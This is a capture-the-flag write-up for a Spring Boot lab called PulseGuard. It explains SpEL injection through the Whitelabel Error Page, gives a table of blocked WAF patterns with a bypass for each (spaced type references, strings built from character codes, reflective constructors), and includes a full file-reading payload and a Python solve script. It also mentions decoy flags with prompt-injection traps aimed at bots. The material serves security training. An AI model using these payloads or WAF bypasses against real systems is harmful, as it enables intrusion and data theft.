Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page
Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: honeypot_flag_identification, reflection_based_object_instantiation, scanner_file_read_without_runtime_exec, spel_injection_via_whitelabel_error_page, string_construction_via_character_tostring, waf_bypass_space_in_type_reference
Summary
Walkthrough of the CUSTOM Web Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page. Task: Spring Boot 2.4.1 monitoring platform with WAF and Whitelabel Error Page that evaluates SpEL expressions in NumberFormatException messages. Solution: SpEL injection via type reference with space
Description
PulseGuard is an infrastructure monitoring platform built by Sentinel Ops Inc. It provides real-time server health metrics, log aggregation with full-text search, alert management, and incident tracking for DevOps teams. The platform monitors 8 production servers across multiple regions, processes thousands of log entries, and manages active incidents. As a security researcher, you have been granted operator-level access to audit the application. Your goal is to find a way to execute arbitrary code on the server and retrieve the contents of /root/flag.txt.
English summary: A Spring Boot 2.4.1 infrastructure monitoring platform with a WAF/request filter that sanitizes dangerous patterns. The Whitelabel Error Page is enabled and evaluates SpEL expressions embedded in error messages. The goal is to bypass the WAF and read /root/flag.txt via SpEL injection.
Credentials: user@test.com / password123
Analysis
Technology Stack Discovery
- Backend: Spring Boot v2.4.1 behind nginx/1.25.5
- Session management: JSESSIONID (Java/Tomcat)
- Error handling: Whitelabel Error Page enabled (classic Spring Boot fallback)
- Security: WAF/request filter that sanitizes dangerous patterns across all endpoints
Endpoint Enumeration
After logging in with provided credentials, the following endpoints were discovered:
/— Dashboard with server health metrics/servers— Server management/alerts— Alert configuration with toggle functionality/logs— Log aggregation with full-text search/incidents— Incident tracking/settings— Application settings
Honeypot Detection
The HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection traps in HTML comments — these are honeypots designed to mislead automated tools and bots.
Whitelabel Error Page Behavior
Error responses return JSON by default. However, when the Accept: text/html header is sent, the classic Spring Boot Whitelabel Error Page is rendered instead. The /error endpoint confirms: "This application has no explicit mapping for /error, so you are seeing this as a fallback."
SpEL Injection Discovery
The /incidents/{id} and POST /alerts/toggle endpoints expect a java.lang.Long type for the id parameter. When a non-numeric string is supplied, Spring throws a NumberFormatException: For input string: "USER_INPUT", and the Whitelabel Error Page renders this message.
Critically, the Whitelabel Error Page evaluates SpEL expressions (${...}) embedded in the error message before rendering. This is the classic CVE-2016-4977 pattern.
Proof of concept: Sending ${7*7} as the id value returns the error message For input string: "49" — confirming SpEL evaluation.
WAF Analysis
The application has a WAF that returns HTTP 403 with message "PulseGuard WAF detected a potentially malicious pattern" when it detects dangerous patterns:
| Blocked Pattern | Purpose |
|---|---|
T( (no space) | SpEL type reference |
"..." and '...' | String literals inside ${} |
new keyword | Object instantiation |
Runtime, getRuntime, exec | Command execution |
ProcessBuilder | Process creation |
class, .class, getClass, forName | Reflection via class references |
| |
Solution
WAF Bypass Strategy
Each WAF restriction was bypassed with a specific technique:
| Blocked Pattern | Bypass |
|---|---|
T( | T ( — space between T and ( is valid SpEL syntax |
| String literals | T (java.lang.Character).toString(N) builds strings char-by-char from ASCII codes |
new keyword | Class.getDeclaredConstructor(argTypes).newInstance(args) via reflection |
Runtime/exec/ProcessBuilder | Avoided entirely — used java.util.Scanner + java.io.File for file reading |
| |
Exploit Chain
Step 1 — Build file path string without literals:
The path /root/flag.txt is constructed character by character using Character.toString() with ASCII codes, chained with .concat():
java read-only • copy allowedT (java.lang.Character).toString(47) // '/' .concat(T (java.lang.Character).toString(114)) // 'r' .concat(T (java.lang.Character).toString(111)) // 'o' .concat(T (java.lang.Character).toString(111)) // 'o' .concat(T (java.lang.Character).toString(116)) // 't' .concat(T (java.lang.Character).toString(47)) // '/' .concat(T (java.lang.Character).toString(102)) // 'f' .concat(T (java.lang.Character).toString(108)) // 'l' .concat(T (java.lang.Character).toString(97)) // 'a' .concat(T (java.lang.Character).toString(103)) // 'g' .concat(T (java.lang.Character).toString(46)) // '.' .concat(T (java.lang.Character).toString(116)) // 't' .concat(T (java.lang.Character).toString(120)) // 'x' .concat(T (java.lang.Character).toString(116)) // 't'
Step 2 — Create java.io.File via reflection (avoiding new keyword):
java read-only • copy allowedT (java.io.File).getDeclaredConstructor(T (java.lang.String)).newInstance(PATH_EXPR)
Step 3 — Create java.util.Scanner wrapping the File (also via reflection):
java read-only • copy allowedT (java.util.Scanner).getDeclaredConstructor(T (java.io.File)).newInstance(FILE_EXPR)
Step 4 — Read file content by calling .next() on the Scanner:
java read-only • copy allowedSCANNER_EXPR.next()
Final Payload
Sent as POST to /alerts/toggle with id parameter and Accept: text/html header:
${T (java.util.Scanner).getDeclaredConstructor(T (java.io.File)).newInstance(T (java.io.File).getDeclaredConstructor(T (java.lang.String)).newInstance(T (java.lang.Character).toString(47).concat(T (java.lang.Character).toString(114)).concat(T (java.lang.Character).toString(111)).concat(T (java.lang.Character).toString(111)).concat(T (java.lang.Character).toString(116)).concat(T (java.lang.Character).toString(47)).concat(T (java.lang.Character).toString(102)).concat(T (java.lang.Character).toString(108)).concat(T (java.lang.Character).toString(97)).concat(T (java.lang.Character).toString(103)).concat(T (java.lang.Character).toString(46)).concat(T (java.lang.Character).toString(116)).concat(T (java.lang.Character).toString(120)).concat(T (java.lang.Character).toString(116)))).next()}
The flag value appears in the error message as For input string: "FLAG{...}".
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """Lab 138 - PulseGuard - SpEL Injection via Whitelabel Error Page""" import requests import re TARGET = "https://dc5d782d-1dbb-400b-bb0f-55860213bc8b.labs.hackadvisor.io" # Step 1: Login s = requests.Session() s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=True) # Step 2: Build file path without string literals using Character.toString() def char_expr(c): return f"T (java.lang.Character).toString({ord(c)})" def build_string(text): parts = [char_expr(c) for c in text] return ".concat(".join(parts) + ")" * (len(parts) - 1) path_expr = build_string("/root/flag.txt") # Step 3: Create File and Scanner via reflection, read with .next() file_expr = f"T (java.io.File).getDeclaredConstructor(T (java.lang.String)).newInstance({path_expr})" scanner_expr = f"T (java.util.Scanner).getDeclaredConstructor(T (java.io.File)).newInstance({file_expr})" payload = "${" + scanner_expr + ".next()}" # Step 4: Send payload via POST to /alerts/toggle r = s.post(f"{TARGET}/alerts/toggle", data={"id": payload}, headers={"Accept": "text/html"}) # Step 5: Extract flag from error message match = re.search(r'For input string: "(.*?)"', r.text) if match: print(f"Flag: {match.group(1)}") else: print("Flag not found") print(r.text[:500])
What Did Not Work
- Direct
Runtime.exec()— blocked by WAF (filtersRuntime,exec) java.nio.file.Files.readString()— blocked by WAF- Spring
DefaultResourceLoader— blocked by WAF - Any payload using string literals inside
${}— blocked by WAF (filters"and') newkeyword for object instantiation — blocked by WAF
Key Takeaways / Lessons
- Mastering honeypot_flag_identification, reflection_based_object_instantiation, scanner_file_read_without_runtime_exec, spel_injection_via_whitelabel_error_page, string_construction_via_character_tostring, waf_bypass_space_in_type_reference was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page • Difficulty: Medium